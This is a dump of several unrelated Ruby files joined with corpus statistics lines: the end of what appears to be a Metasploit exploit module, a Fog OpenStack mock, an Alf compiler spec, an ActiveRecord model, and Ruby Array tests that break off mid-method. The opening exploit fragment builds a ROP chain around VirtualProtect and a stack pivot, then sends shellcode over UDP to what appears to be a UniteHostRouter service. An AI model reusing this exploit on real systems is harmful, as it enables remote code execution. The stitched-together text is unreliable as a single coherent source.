buf << [target.ret].pack("V") # MOV EAX,EDI # POP EDI # RETN # from msvcrt # EDI points to data in the heap
buf << [0x77c5f9a0].pack("V") # Readable address with string # from msvcrt
buf << ([0x77c3c99c].pack("V")) * 21 # (INC EAX # RETN) * 21 # from msvcrt # EAX points to data in th heap, align to shellcode position
buf << [0x77c168cd].pack("V") # jmp eax # from msvcrt.dll # JMP to shellcode in the heap
elsif target.name =~ /Windows 2003 SP2/
rop_gadgets =
[
0x77bb2563, # POP EAX # RETN
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77bb0c86, # XCHG EAX,ESI # RETN
0x77bc9801, # POP EBP # RETN
0x77be2265, # ptr to 'push esp # ret'
0x77bb2563, # POP EAX # RETN
0x03C0990F,
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
0x77bb48d3, # POP EBX, RET
0x77bf21e0, # .data
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bbfc02, # POP ECX # RETN
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
0x77bd8c04, # POP EDI # RETN
0x77bd8c05, # ROP NOP (-> edi)
0x77bb2563, # POP EAX # RETN
0x03c0984f,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb8285, # XCHG EAX,EDX # RETN
0x77bb2563, # POP EAX # RETN
nop,
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
].pack("V*")
buf = rand_text(3) # padding
buf << rop_gadgets
buf << "\xeb\x7f" # jmp $+0x81
buf << rand_text(0x81-2)
buf << "\xeb\x25" # jmp short $+0x66 => to shellcode
buf << rand_text(target['Offset'] - buf.length)
buf << "\xf2\xe0\x40" # EIP => # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from [UniteHostRouter.EXE # stackpivot to heap
end
request = "UTP/1 To: 127.0.0.1 /#{buf}\r\n\r\n"
if target.name =~ /Windows 2003 SP2/
request << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
end
request << payload.encoded # The shellcode will be stored in the heap
print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")
udp_sock.put(request)
disconnect_udp
end
end
| 34.539568 | 141 | 0.547803 |
f7d5272cc38684c85d6bbbcd7e4c87e95cb1ef49 | 1,135 | module Fog
module OpenStack
class Baremetal
class Real
def list_chassis(options = {})
request(
:expects => [200, 204],
:method => 'GET',
:path => 'chassis',
:query => options
)
end
end
class Mock
def list_chassis(_parameters = nil)
response = Excon::Response.new
response.status = [200, 204][rand(2)]
response.body = {
"chassis" => [
{
"description" => "Sample chassis",
"links" => [
{
"href" => "http =>//localhost:6385/v1/chassis/eaaca217-e7d8-47b4-bb41-3f99f20eed89",
"rel" => "self"
},
{
"href" => "http =>//localhost:6385/chassis/eaaca217-e7d8-47b4-bb41-3f99f20eed89",
"rel" => "bookmark"
}
],
"uuid" => Fog::UUID.uuid
}
]
}
response
end
end
end
end
end
| 26.395349 | 104 | 0.387665 |
4a5bfbfa482f30db9f1db428ddf99d2ad4ec9aad | 1,647 | require 'compiler_helper'
module Alf
class Compiler
describe Default, "allbut" do
subject{
compiler.call(expr)
}
shared_examples_for "a compacted compilation result" do
it_should_behave_like "a traceable compiled"
it 'has a Compact cog' do
expect(subject).to be_kind_of(Engine::Compact)
end
it 'has a Clip sub-cog' do
expect(subject.operand).to be_kind_of(Engine::Clip)
expect(subject.operand.attributes).to eq(AttrList[:a])
expect(subject.operand.allbut).to be_truthy
end
it 'has the corect sub-sub cog' do
expect(subject.operand.operand).to be(leaf)
end
end
context 'when keys not available' do
let(:expr){
allbut(an_operand(leaf), [:a])
}
it_should_behave_like "a compacted compilation result"
end
context 'when keys are available and not preserving' do
let(:expr){
allbut(an_operand(leaf).with_keys([:a]), [:a])
}
it_should_behave_like "a compacted compilation result"
end
context 'when keys are available and preserving' do
let(:expr){
allbut(an_operand(leaf).with_keys([:b]), [:a])
}
it_should_behave_like "a traceable cog"
it 'has a Clip cog' do
expect(subject).to be_kind_of(Engine::Clip)
expect(subject.attributes).to eq(AttrList[:a])
expect(subject.allbut).to be_truthy
end
it 'has the correct sub cog' do
expect(subject.operand).to be(leaf)
end
end
end
end
end
| 24.954545 | 64 | 0.598664 |
ff4e3615dca120c34fdadba40f90150b2a55f24f | 627 | class AllowedBat < ActiveRecord::Base
belongs_to :protocol
belongs_to :species
validates_presence_of :number, :species
validates_numericality_of :number, :only_integer => true, :greater_than_or_equal_to => 0
validates_numericality_of :warning_limit, :only_integer => true, :greater_than_or_equal_to => 0
def validate
if self.number < self.warning_limit
errors.add(:warning_limit,"cannot be above number allowed")
elsif self.protocol && self.number < Bat.on_species(self.protocol.all_past_bats,self.species).length
errors.add(:number,"cannot be below bats used on protocol")
end
end
end | 39.1875 | 104 | 0.759171 |
08100142f80c449955068844154f373074d39219 | 80,235 | # coding: US-ASCII
# frozen_string_literal: false
require 'test/unit'
require "delegate"
require "rbconfig/sizeof"
class TestArray < Test::Unit::TestCase
def setup
@verbose = $VERBOSE
$VERBOSE = nil
@cls = Array
end
def teardown
$VERBOSE = @verbose
end
def test_percent_i
assert_equal([:foo, :bar], %i[foo bar])
assert_equal([:"\"foo"], %i["foo])
end
def test_percent_I
x = 10
assert_equal([:foo, :b10], %I[foo b#{x}])
assert_equal([:"\"foo10"], %I["foo#{x}])
end
def test_0_literal
assert_equal([1, 2, 3, 4], [1, 2] + [3, 4])
assert_equal([1, 2, 1, 2], [1, 2] * 2)
assert_equal("1:2", [1, 2] * ":")
assert_equal([1, 2].hash, [1, 2].hash)
assert_equal([2,3], [1,2,3] & [2,3,4])
assert_equal([1,2,3,4], [1,2,3] | [2,3,4])
assert_equal([1,2,3] - [2,3], [1])
x = [0, 1, 2, 3, 4, 5]
assert_equal(2, x[2])
assert_equal([1, 2, 3], x[1..3])
assert_equal([1, 2, 3], x[1,3])
x[0, 2] = 10
assert_equal([10, 2, 3, 4, 5], x)
x[0, 0] = -1
assert_equal([-1, 10, 2, 3, 4, 5], x)
x[-1, 1] = 20
assert_equal(20, x[-1])
assert_equal(20, x.pop)
end
def test_array_andor_0
assert_equal([2], ([1,2,3]&[2,4,6]))
assert_equal([1,2,3,4,6], ([1,2,3]|[2,4,6]))
end
def test_compact_0
a = [nil, 1, nil, nil, 5, nil, nil]
assert_equal [1, 5], a.compact
assert_equal [nil, 1, nil, nil, 5, nil, nil], a
a.compact!
assert_equal [1, 5], a
end
def test_uniq_0
x = [1, 1, 4, 2, 5, 4, 5, 1, 2]
x.uniq!
assert_equal([1, 4, 2, 5], x)
end
def test_empty_0
assert_equal true, [].empty?
assert_equal false, [1].empty?
assert_equal false, [1, 1, 4, 2, 5, 4, 5, 1, 2].empty?
end
def test_sort_0
x = ["it", "came", "to", "pass", "that", "..."]
x = x.sort.join(" ")
assert_equal("... came it pass that to", x)
x = [2,5,3,1,7]
x.sort!{|a,b| a<=>b} # sort with condition
assert_equal([1,2,3,5,7], x)
x.sort!{|a,b| b-a} # reverse sort
assert_equal([7,5,3,2,1], x)
end
def test_split_0
x = "The Book of Mormon"
assert_equal(x.reverse, x.split(//).reverse!.join)
assert_equal(x.reverse, x.reverse!)
assert_equal("g:n:i:r:t:s: :e:t:y:b: :1", "1 byte string".split(//).reverse.join(":"))
x = "a b c d"
assert_equal(['a', 'b', 'c', 'd'], x.split)
assert_equal(['a', 'b', 'c', 'd'], x.split(' '))
end
def test_misc_0
assert(defined? "a".chomp, '"a".chomp is not defined')
assert_equal(["a", "b", "c"], "abc".scan(/./))
assert_equal([["1a"], ["2b"], ["3c"]], "1a2b3c".scan(/(\d.)/))
# non-greedy match
assert_equal([["a", "12"], ["b", "22"]], "a=12;b=22".scan(/(.*?)=(\d*);?/))
x = [1]
assert_equal('1:1:1:1:1', (x * 5).join(":"))
assert_equal('1', (x * 1).join(":"))
assert_equal('', (x * 0).join(":"))
*x = *(1..7).to_a
assert_equal(7, x.size)
assert_equal([1, 2, 3, 4, 5, 6, 7], x)
x = [1,2,3]
x[1,0] = x
assert_equal([1,1,2,3,2,3], x)
x = [1,2,3]
x[-1,0] = x
assert_equal([1,2,1,2,3,3], x)
x = [1,2,3]
x.concat(x)
assert_equal([1,2,3,1,2,3], x)
x = [1,2,3]
x.clear
assert_equal([], x)
x = [1,2,3]
y = x.dup
x << 4
y << 5
assert_equal([1,2,3,4], x)
assert_equal([1,2,3,5], y)
end
def test_beg_end_0
x = [1, 2, 3, 4, 5]
assert_equal(1, x.first)
assert_equal([1], x.first(1))
assert_equal([1, 2, 3], x.first(3))
assert_equal(5, x.last)
assert_equal([5], x.last(1))
assert_equal([3, 4, 5], x.last(3))
assert_equal(1, x.shift)
assert_equal([2, 3, 4], x.shift(3))
assert_equal([5], x)
assert_equal([2, 3, 4, 5], x.unshift(2, 3, 4))
assert_equal([1, 2, 3, 4, 5], x.unshift(1))
assert_equal([1, 2, 3, 4, 5], x)
assert_equal(5, x.pop)
assert_equal([3, 4], x.pop(2))
assert_equal([1, 2], x)
assert_equal([1, 2, 3, 4], x.push(3, 4))
assert_equal([1, 2, 3, 4, 5], x.push(5))
assert_equal([1, 2, 3, 4, 5], x)
end
def test_find_all_0
assert_respond_to([], :find_all)
assert_respond_to([], :select) # Alias
assert_equal([], [].find_all{ |obj| obj == "foo"})
x = ["foo", "bar", "baz", "baz", 1, 2, 3, 3, 4]
assert_equal(["baz","baz"], x.find_all{ |obj| obj == "baz" })
assert_equal([3,3], x.find_all{ |obj| obj == 3 })
end
def test_fill_0
assert_equal([-1, -1, -1, -1, -1, -1], [0, 1, 2, 3, 4, 5].fill(-1))
assert_equal([0, 1, 2, -1, -1, -1], [0, 1, 2, 3, 4, 5].fill(-1, 3))
assert_equal([0, 1, 2, -1, -1, 5], [0, 1, 2, 3, 4, 5].fill(-1, 3, 2))
assert_equal([0, 1, 2, -1, -1, -1, -1, -1], [0, 1, 2, 3, 4, 5].fill(-1, 3, 5))
assert_equal([0, 1, -1, -1, 4, 5], [0, 1, 2, 3, 4, 5].fill(-1, 2, 2))
assert_equal([0, 1, -1, -1, -1, -1, -1], [0, 1, 2, 3, 4, 5].fill(-1, 2, 5))
assert_equal([0, 1, 2, 3, -1, 5], [0, 1, 2, 3, 4, 5].fill(-1, -2, 1))
assert_equal([0, 1, 2, 3, -1, -1, -1], [0, 1, 2, 3, 4, 5].fill(-1, -2, 3))
assert_equal([0, 1, 2, -1, -1, 5], [0, 1, 2, 3, 4, 5].fill(-1, 3..4))
assert_equal([0, 1, 2, -1, 4, 5], [0, 1, 2, 3, 4, 5].fill(-1, 3...4))
assert_equal([0, 1, -1, -1, -1, 5], [0, 1, 2, 3, 4, 5].fill(-1, 2..-2))
assert_equal([0, 1, -1, -1, 4, 5], [0, 1, 2, 3, 4, 5].fill(-1, 2...-2))
assert_equal([10, 11, 12, 13, 14, 15], [0, 1, 2, 3, 4, 5].fill{|i| i+10})
assert_equal([0, 1, 2, 13, 14, 15], [0, 1, 2, 3, 4, 5].fill(3){|i| i+10})
assert_equal([0, 1, 2, 13, 14, 5], [0, 1, 2, 3, 4, 5].fill(3, 2){|i| i+10})
assert_equal([0, 1, 2, 13, 14, 15, 16, 17], [0, 1, 2, 3, 4, 5].fill(3, 5){|i| i+10})
assert_equal([0, 1, 2, 13, 14, 5], [0, 1, 2, 3, 4, 5].fill(3..4){|i| i+10})
assert_equal([0, 1, 2, 13, 4, 5], [0, 1, 2, 3, 4, 5].fill(3...4){|i| i+10})
assert_equal([0, 1, 12, 13, 14, 5], [0, 1, 2, 3, 4, 5].fill(2..-2){|i| i+10})
assert_equal([0, 1, 12, 13, 4, 5], [0, 1, 2, 3, 4, 5].fill(2...-2){|i| i+10})
end
# From rubicon
def test_00_new
a = @cls.new()
assert_instance_of(@cls, a)
assert_equal(0, a.length)
assert_nil(a[0])
end
def test_01_square_brackets
a = @cls[ 5, 4, 3, 2, 1 ]
assert_instance_of(@cls, a)
assert_equal(5, a.length)
5.times { |i| assert_equal(5-i, a[i]) }
assert_nil(a[6])
end
def test_AND # '&'
assert_equal(@cls[1, 3], @cls[ 1, 1, 3, 5 ] & @cls[ 1, 2, 3 ])
assert_equal(@cls[], @cls[ 1, 1, 3, 5 ] & @cls[ ])
assert_equal(@cls[], @cls[ ] & @cls[ 1, 2, 3 ])
assert_equal(@cls[], @cls[ 1, 2, 3 ] & @cls[ 4, 5, 6 ])
end
def test_MUL # '*'
assert_equal(@cls[], @cls[]*3)
assert_equal(@cls[1, 1, 1], @cls[1]*3)
assert_equal(@cls[1, 2, 1, 2, 1, 2], @cls[1, 2]*3)
assert_equal(@cls[], @cls[1, 2, 3] * 0)
assert_raise(ArgumentError) { @cls[1, 2]*(-3) }
assert_equal('1-2-3-4-5', @cls[1, 2, 3, 4, 5] * '-')
assert_equal('12345', @cls[1, 2, 3, 4, 5] * '')
end
def test_PLUS # '+'
assert_equal(@cls[], @cls[] + @cls[])
assert_equal(@cls[1], @cls[1] + @cls[])
assert_equal(@cls[1], @cls[] + @cls[1])
assert_equal(@cls[1, 1], @cls[1] + @cls[1])
assert_equal(@cls['cat', 'dog', 1, 2, 3], %w(cat dog) + (1..3).to_a)
end
def test_MINUS # '-'
assert_equal(@cls[], @cls[1] - @cls[1])
assert_equal(@cls[1], @cls[1, 2, 3, 4, 5] - @cls[2, 3, 4, 5])
# Ruby 1.8 feature change
#assert_equal(@cls[1], @cls[1, 2, 1, 3, 1, 4, 1, 5] - @cls[2, 3, 4, 5])
assert_equal(@cls[1, 1, 1, 1], @cls[1, 2, 1, 3, 1, 4, 1, 5] - @cls[2, 3, 4, 5])
a = @cls[]
1000.times { a << 1 }
assert_equal(1000, a.length)
#assert_equal(@cls[1], a - @cls[2])
assert_equal(@cls[1] * 1000, a - @cls[2])
#assert_equal(@cls[1], @cls[1, 2, 1] - @cls[2])
assert_equal(@cls[1, 1], @cls[1, 2, 1] - @cls[2])
assert_equal(@cls[1, 2, 3], @cls[1, 2, 3] - @cls[4, 5, 6])
end
def test_LSHIFT # '<<'
a = @cls[]
a << 1
assert_equal(@cls[1], a)
a << 2 << 3
assert_equal(@cls[1, 2, 3], a)
a << nil << 'cat'
assert_equal(@cls[1, 2, 3, nil, 'cat'], a)
a << a
assert_equal(@cls[1, 2, 3, nil, 'cat', a], a)
end
def test_CMP # '<=>'
assert_equal(0, @cls[] <=> @cls[])
assert_equal(0, @cls[1] <=> @cls[1])
assert_equal(0, @cls[1, 2, 3, 'cat'] <=> @cls[1, 2, 3, 'cat'])
assert_equal(-1, @cls[] <=> @cls[1])
assert_equal(1, @cls[1] <=> @cls[])
assert_equal(-1, @cls[1, 2, 3] <=> @cls[1, 2, 3, 'cat'])
assert_equal(1, @cls[1, 2, 3, 'cat'] <=> @cls[1, 2, 3])
assert_equal(-1, @cls[1, 2, 3, 'cat'] <=> @cls[1, 2, 3, 'dog'])
assert_equal(1, @cls[1, 2, 3, 'dog'] <=> @cls[1, 2, 3, 'cat'])
end
def test_EQUAL # '=='
assert_operator(@cls[], :==, @cls[])
assert_operator(@cls[1], :==, @cls[1])
assert_operator(@cls[1, 1, 2, 2], :==, @cls[1, 1, 2, 2])
assert_operator(@cls[1.0, 1.0, 2.0, 2.0], :==, @cls[1, 1, 2, 2])
end
def test_VERY_EQUAL # '==='
assert_operator(@cls[], :===, @cls[])
assert_operator(@cls[1], :===, @cls[1])
assert_operator(@cls[1, 1, 2, 2], :===, @cls[1, 1, 2, 2])
assert_operator(@cls[1.0, 1.0, 2.0, 2.0], :===, @cls[1, 1, 2, 2])
end
def test_AREF # '[]'
a = @cls[*(1..100).to_a]
assert_equal(1, a[0])
assert_equal(100, a[99])
assert_nil(a[100])
assert_equal(100, a[-1])
assert_equal(99, a[-2])
assert_equal(1, a[-100])
assert_nil(a[-101])
assert_nil(a[-101,0])
assert_nil(a[-101,1])
assert_nil(a[-101,-1])
assert_nil(a[10,-1])
assert_equal(@cls[1], a[0,1])
assert_equal(@cls[100], a[99,1])
assert_equal(@cls[], a[100,1])
assert_equal(@cls[100], a[99,100])
assert_equal(@cls[100], a[-1,1])
assert_equal(@cls[99], a[-2,1])
assert_equal(@cls[], a[-100,0])
assert_equal(@cls[1], a[-100,1])
assert_equal(@cls[10, 11, 12], a[9, 3])
assert_equal(@cls[10, 11, 12], a[-91, 3])
assert_equal(@cls[1], a[0..0])
assert_equal(@cls[100], a[99..99])
assert_equal(@cls[], a[100..100])
assert_equal(@cls[100], a[99..200])
assert_equal(@cls[100], a[-1..-1])
assert_equal(@cls[99], a[-2..-2])
assert_equal(@cls[10, 11, 12], a[9..11])
assert_equal(@cls[10, 11, 12], a[-91..-89])
assert_nil(a[10, -3])
# Ruby 1.8 feature change:
# Array#[size..x] returns [] instead of nil.
#assert_nil(a[10..7])
assert_equal [], a[10..7]
assert_raise(TypeError) {a['cat']}
end
def test_ASET # '[]='
a = @cls[*(0..99).to_a]
assert_equal(0, a[0] = 0)
assert_equal(@cls[0] + @cls[*(1..99).to_a], a)
a = @cls[*(0..99).to_a]
assert_equal(0, a[10,10] = 0)
assert_equal(@cls[*(0..9).to_a] + @cls[0] + @cls[*(20..99).to_a], a)
a = @cls[*(0..99).to_a]
assert_equal(0, a[-1] = 0)
assert_equal(@cls[*(0..98).to_a] + @cls[0], a)
a = @cls[*(0..99).to_a]
assert_equal(0, a[-10, 10] = 0)
assert_equal(@cls[*(0..89).to_a] + @cls[0], a)
a = @cls[*(0..99).to_a]
assert_equal(0, a[0,1000] = 0)
assert_equal(@cls[0] , a)
a = @cls[*(0..99).to_a]
assert_equal(0, a[10..19] = 0)
assert_equal(@cls[*(0..9).to_a] + @cls[0] + @cls[*(20..99).to_a], a)
b = @cls[*%w( a b c )]
a = @cls[*(0..99).to_a]
assert_equal(b, a[0,1] = b)
assert_equal(b + @cls[*(1..99).to_a], a)
a = @cls[*(0..99).to_a]
assert_equal(b, a[10,10] = b)
assert_equal(@cls[*(0..9).to_a] + b + @cls[*(20..99).to_a], a)
a = @cls[*(0..99).to_a]
assert_equal(b, a[-1, 1] = b)
assert_equal(@cls[*(0..98).to_a] + b, a)
a = @cls[*(0..99).to_a]
assert_equal(b, a[-10, 10] = b)
assert_equal(@cls[*(0..89).to_a] + b, a)
a = @cls[*(0..99).to_a]
assert_equal(b, a[0,1000] = b)
assert_equal(b , a)
a = @cls[*(0..99).to_a]
assert_equal(b, a[10..19] = b)
assert_equal(@cls[*(0..9).to_a] + b + @cls[*(20..99).to_a], a)
# Ruby 1.8 feature change:
# assigning nil does not remove elements.
=begin
a = @cls[*(0..99).to_a]
assert_equal(nil, a[0,1] = nil)
assert_equal(@cls[*(1..99).to_a], a)
a = @cls[*(0..99).to_a]
assert_equal(nil, a[10,10] = nil)
assert_equal(@cls[*(0..9).to_a] + @cls[*(20..99).to_a], a)
a = @cls[*(0..99).to_a]
assert_equal(nil, a[-1, 1] = nil)
assert_equal(@cls[*(0..98).to_a], a)
a = @cls[*(0..99).to_a]
assert_equal(nil, a[-10, 10] = nil)
assert_equal(@cls[*(0..89).to_a], a)
a = @cls[*(0..99).to_a]
assert_equal(nil, a[0,1000] = nil)
assert_equal(@cls[] , a)
a = @cls[*(0..99).to_a]
assert_equal(nil, a[10..19] = nil)
assert_equal(@cls[*(0..9).to_a] + @cls[*(20..99).to_a], a)
=end
a = @cls[1, 2, 3]
a[1, 0] = a
assert_equal([1, 1, 2, 3, 2, 3], a)
a = @cls[1, 2, 3]
a[-1, 0] = a
assert_equal([1, 2, 1, 2, 3, 3], a)
a = @cls[]
a[5,0] = [5]
assert_equal([nil, nil, nil, nil, nil, 5], a)
a = @cls[1]
a[1,0] = [2]
assert_equal([1, 2], a)
a = @cls[1]
a[1,1] = [2]
assert_equal([1, 2], a)
end
def test_assoc
a1 = @cls[*%w( cat feline )]
a2 = @cls[*%w( dog canine )]
a3 = @cls[*%w( mule asinine )]
a = @cls[ a1, a2, a3 ]
assert_equal(a1, a.assoc('cat'))
assert_equal(a3, a.assoc('mule'))
assert_equal(nil, a.assoc('asinine'))
assert_equal(nil, a.assoc('wombat'))
assert_equal(nil, a.assoc(1..2))
end
def test_at
a = @cls[*(0..99).to_a]
assert_equal(0, a.at(0))
assert_equal(10, a.at(10))
assert_equal(99, a.at(99))
assert_equal(nil, a.at(100))
assert_equal(99, a.at(-1))
assert_equal(0, a.at(-100))
assert_equal(nil, a.at(-101))
assert_raise(TypeError) { a.at('cat') }
end
def test_clear
a = @cls[1, 2, 3]
b = a.clear
assert_equal(@cls[], a)
assert_equal(@cls[], b)
assert_equal(a.__id__, b.__id__)
end
def test_clone
for taint in [ false, true ]
for frozen in [ false, true ]
a = @cls[*(0..99).to_a]
a.taint if taint
a.freeze if frozen
b = a.clone
assert_equal(a, b)
assert_not_equal(a.__id__, b.__id__)
assert_equal(a.frozen?, b.frozen?)
assert_equal(a.tainted?, b.tainted?)
end
end
end
def test_collect
a = @cls[ 1, 'cat', 1..1 ]
assert_equal([ Integer, String, Range], a.collect {|e| e.class} )
assert_equal([ 99, 99, 99], a.collect { 99 } )
assert_equal([], @cls[].collect { 99 })
# Ruby 1.9 feature change:
# Enumerable#collect without block returns an Enumerator.
#assert_equal([1, 2, 3], @cls[1, 2, 3].collect)
assert_kind_of Enumerator, @cls[1, 2, 3].collect
end
# also update map!
def test_collect!
a = @cls[ 1, 'cat', 1..1 ]
assert_equal([ Integer, String, Range], a.collect! {|e| e.class} )
assert_equal([ Integer, String, Range], a)
a = @cls[ 1, 'cat', 1..1 ]
assert_equal([ 99, 99, 99], a.collect! { 99 } )
assert_equal([ 99, 99, 99], a)
a = @cls[ ]
assert_equal([], a.collect! { 99 })
assert_equal([], a)
end
def test_compact
a = @cls[ 1, nil, nil, 2, 3, nil, 4 ]
assert_equal(@cls[1, 2, 3, 4], a.compact)
a = @cls[ nil, 1, nil, 2, 3, nil, 4 ]
assert_equal(@cls[1, 2, 3, 4], a.compact)
a = @cls[ 1, nil, nil, 2, 3, nil, 4, nil ]
assert_equal(@cls[1, 2, 3, 4], a.compact)
a = @cls[ 1, 2, 3, 4 ]
assert_equal(@cls[1, 2, 3, 4], a.compact)
end
def test_compact!
a = @cls[ 1, nil, nil, 2, 3, nil, 4 ]
assert_equal(@cls[1, 2, 3, 4], a.compact!)
assert_equal(@cls[1, 2, 3, 4], a)
a = @cls[ nil, 1, nil, 2, 3, nil, 4 ]
assert_equal(@cls[1, 2, 3, 4], a.compact!)
assert_equal(@cls[1, 2, 3, 4], a)
a = @cls[ 1, nil, nil, 2, 3, nil, 4, nil ]
assert_equal(@cls[1, 2, 3, 4], a.compact!)
assert_equal(@cls[1, 2, 3, 4], a)
a = @cls[ 1, 2, 3, 4 ]
assert_equal(nil, a.compact!)
assert_equal(@cls[1, 2, 3, 4], a)
end
def test_concat
assert_equal(@cls[1, 2, 3, 4], @cls[1, 2].concat(@cls[3, 4]))
assert_equal(@cls[1, 2, 3, 4], @cls[].concat(@cls[1, 2, 3, 4]))
assert_equal(@cls[1, 2, 3, 4], @cls[1].concat(@cls[2, 3], [4]))
assert_equal(@cls[1, 2, 3, 4], @cls[1, 2, 3, 4].concat(@cls[]))
assert_equal(@cls[1, 2, 3, 4], @cls[1, 2, 3, 4].concat())
assert_equal(@cls[], @cls[].concat(@cls[]))
assert_equal(@cls[@cls[1, 2], @cls[3, 4]], @cls[@cls[1, 2]].concat(@cls[@cls[3, 4]]))
a = @cls[1, 2, 3]
a.concat(a)
assert_equal([1, 2, 3, 1, 2, 3], a)
b = @cls[4, 5]
b.concat(b, b)
assert_equal([4, 5, 4, 5, 4, 5], b)
assert_raise(TypeError) { [0].concat(:foo) }
assert_raise(RuntimeError) { [0].freeze.concat(:foo) }
end
def test_count
a = @cls[1, 2, 3, 1, 2]
assert_equal(5, a.count)
assert_equal(2, a.count(1))
assert_equal(3, a.count {|x| x % 2 == 1 })
assert_equal(2, a.count(1) {|x| x % 2 == 1 })
assert_raise(ArgumentError) { a.count(0, 1) }
bug8654 = '[ruby-core:56072]'
assert_in_out_err [], <<-EOS, ["0"], [], bug8654
a1 = []
a2 = Array.new(100) { |i| i }
a2.count do |i|
p i
a2.replace(a1) if i == 0
end
EOS
assert_in_out_err [], <<-EOS, ["[]", "0"], [], bug8654
ARY = Array.new(100) { |i| i }
class Integer
alias old_equal ==
def == other
ARY.replace([]) if self.equal?(0)
p ARY
self.equal?(other)
end
end
p ARY.count(42)
EOS
end
def test_delete
a = @cls[*('cab'..'cat').to_a]
assert_equal('cap', a.delete('cap'))
assert_equal(@cls[*('cab'..'cao').to_a] + @cls[*('caq'..'cat').to_a], a)
a = @cls[*('cab'..'cat').to_a]
assert_equal('cab', a.delete('cab'))
assert_equal(@cls[*('cac'..'cat').to_a], a)
a = @cls[*('cab'..'cat').to_a]
assert_equal('cat', a.delete('cat'))
assert_equal(@cls[*('cab'..'cas').to_a], a)
a = @cls[*('cab'..'cat').to_a]
assert_equal(nil, a.delete('cup'))
assert_equal(@cls[*('cab'..'cat').to_a], a)
a = @cls[*('cab'..'cat').to_a]
assert_equal(99, a.delete('cup') { 99 } )
assert_equal(@cls[*('cab'..'cat').to_a], a)
o = Object.new
def o.==(other); true; end
o2 = Object.new
def o2.==(other); true; end
a = @cls[1, o, o2, 2]
assert_equal(o2, a.delete(42))
assert_equal([1, 2], a)
end
def test_delete_at
a = @cls[*(1..5).to_a]
assert_equal(3, a.delete_at(2))
assert_equal(@cls[1, 2, 4, 5], a)
a = @cls[*(1..5).to_a]
assert_equal(4, a.delete_at(-2))
assert_equal(@cls[1, 2, 3, 5], a)
a = @cls[*(1..5).to_a]
assert_equal(nil, a.delete_at(5))
assert_equal(@cls[1, 2, 3, 4, 5], a)
a = @cls[*(1..5).to_a]
assert_equal(nil, a.delete_at(-6))
assert_equal(@cls[1, 2, 3, 4, 5], a)
end
# also reject!
def test_delete_if
a = @cls[ 1, 2, 3, 4, 5 ]
assert_equal(a, a.delete_if { false })
assert_equal(@cls[1, 2, 3, 4, 5], a)
a = @cls[ 1, 2, 3, 4, 5 ]
assert_equal(a, a.delete_if { true })
assert_equal(@cls[], a)
a = @cls[ 1, 2, 3, 4, 5 ]
assert_equal(a, a.delete_if { |i| i > 3 })
assert_equal(@cls[1, 2, 3], a)
bug2545 = '[ruby-core:27366]'
a = @cls[ 5, 6, 7, 8, 9, 10 ]
assert_equal(9, a.delete_if {|i| break i if i > 8; i < 7})
assert_equal(@cls[7, 8, 9, 10], a, bug2545)
end
def test_dup
for taint in [ false, true ]
for frozen in [ false, true ]
a = @cls[*(0..99).to_a]
a.taint if taint
a.freeze if frozen
b = a.dup
assert_equal(a, b)
assert_not_equal(a.__id__, b.__id__)
assert_equal(false, b.frozen?)
assert_equal(a.tainted?, b.tainted?)
end
end
end
def test_each
a = @cls[*%w( ant bat cat dog )]
i = 0
a.each { |e|
assert_equal(a[i], e)
i += 1
}
assert_equal(4, i)
a = @cls[]
i = 0
a.each { |e|
assert_equal(a[i], e)
i += 1
}
assert_equal(0, i)
assert_equal(a, a.each {})
end
def test_each_index
a = @cls[*%w( ant bat cat dog )]
i = 0
a.each_index { |ind|
assert_equal(i, ind)
i += 1
}
assert_equal(4, i)
a = @cls[]
i = 0
a.each_index { |ind|
assert_equal(i, ind)
i += 1
}
assert_equal(0, i)
assert_equal(a, a.each_index {})
end
def test_empty?
assert_empty(@cls[])
assert_not_empty(@cls[1])
end
def test_eql?
assert_send([@cls[], :eql?, @cls[]])
assert_send([@cls[1], :eql?, @cls[1]])
assert_send([@cls[1, 1, 2, 2], :eql?, @cls[1, 1, 2, 2]])
assert_not_send([@cls[1.0, 1.0, 2.0, 2.0], :eql?, @cls[1, 1, 2, 2]])
end
def test_fill
assert_equal(@cls[], @cls[].fill(99))
assert_equal(@cls[], @cls[].fill(99, 0))
assert_equal(@cls[99], @cls[].fill(99, 0, 1))
assert_equal(@cls[99], @cls[].fill(99, 0..0))
assert_equal(@cls[99], @cls[1].fill(99))
assert_equal(@cls[99], @cls[1].fill(99, 0))
assert_equal(@cls[99], @cls[1].fill(99, 0, 1))
assert_equal(@cls[99], @cls[1].fill(99, 0..0))
assert_equal(@cls[99, 99], @cls[1, 2].fill(99))
assert_equal(@cls[99, 99], @cls[1, 2].fill(99, 0))
assert_equal(@cls[99, 99], @cls[1, 2].fill(99, nil))
assert_equal(@cls[1, 99], @cls[1, 2].fill(99, 1, nil))
assert_equal(@cls[99, 2], @cls[1, 2].fill(99, 0, 1))
assert_equal(@cls[99, 2], @cls[1, 2].fill(99, 0..0))
end
def test_first
assert_equal(3, @cls[3, 4, 5].first)
assert_equal(nil, @cls[].first)
end
def test_flatten
a1 = @cls[ 1, 2, 3]
a2 = @cls[ 5, 6 ]
a3 = @cls[ 4, a2 ]
a4 = @cls[ a1, a3 ]
assert_equal(@cls[1, 2, 3, 4, 5, 6], a4.flatten)
assert_equal(@cls[ a1, a3], a4)
a5 = @cls[ a1, @cls[], a3 ]
assert_equal(@cls[1, 2, 3, 4, 5, 6], a5.flatten)
assert_equal(@cls[1, 2, 3, 4, [5, 6]], a5.flatten(1))
assert_equal(@cls[], @cls[].flatten)
assert_equal(@cls[],
@cls[@cls[@cls[@cls[],@cls[]],@cls[@cls[]],@cls[]],@cls[@cls[@cls[]]]].flatten)
end
def test_flatten_wrong_argument
assert_raise(TypeError, "[ruby-dev:31197]") { [[]].flatten("") }
end
def test_flatten_taint
a6 = @cls[[1, 2], 3]
a6.taint
a7 = a6.flatten
assert_equal(true, a7.tainted?)
end
def test_flatten_level0
a8 = @cls[[1, 2], 3]
a9 = a8.flatten(0)
assert_equal(a8, a9)
assert_not_same(a8, a9)
end
def test_flatten_splat
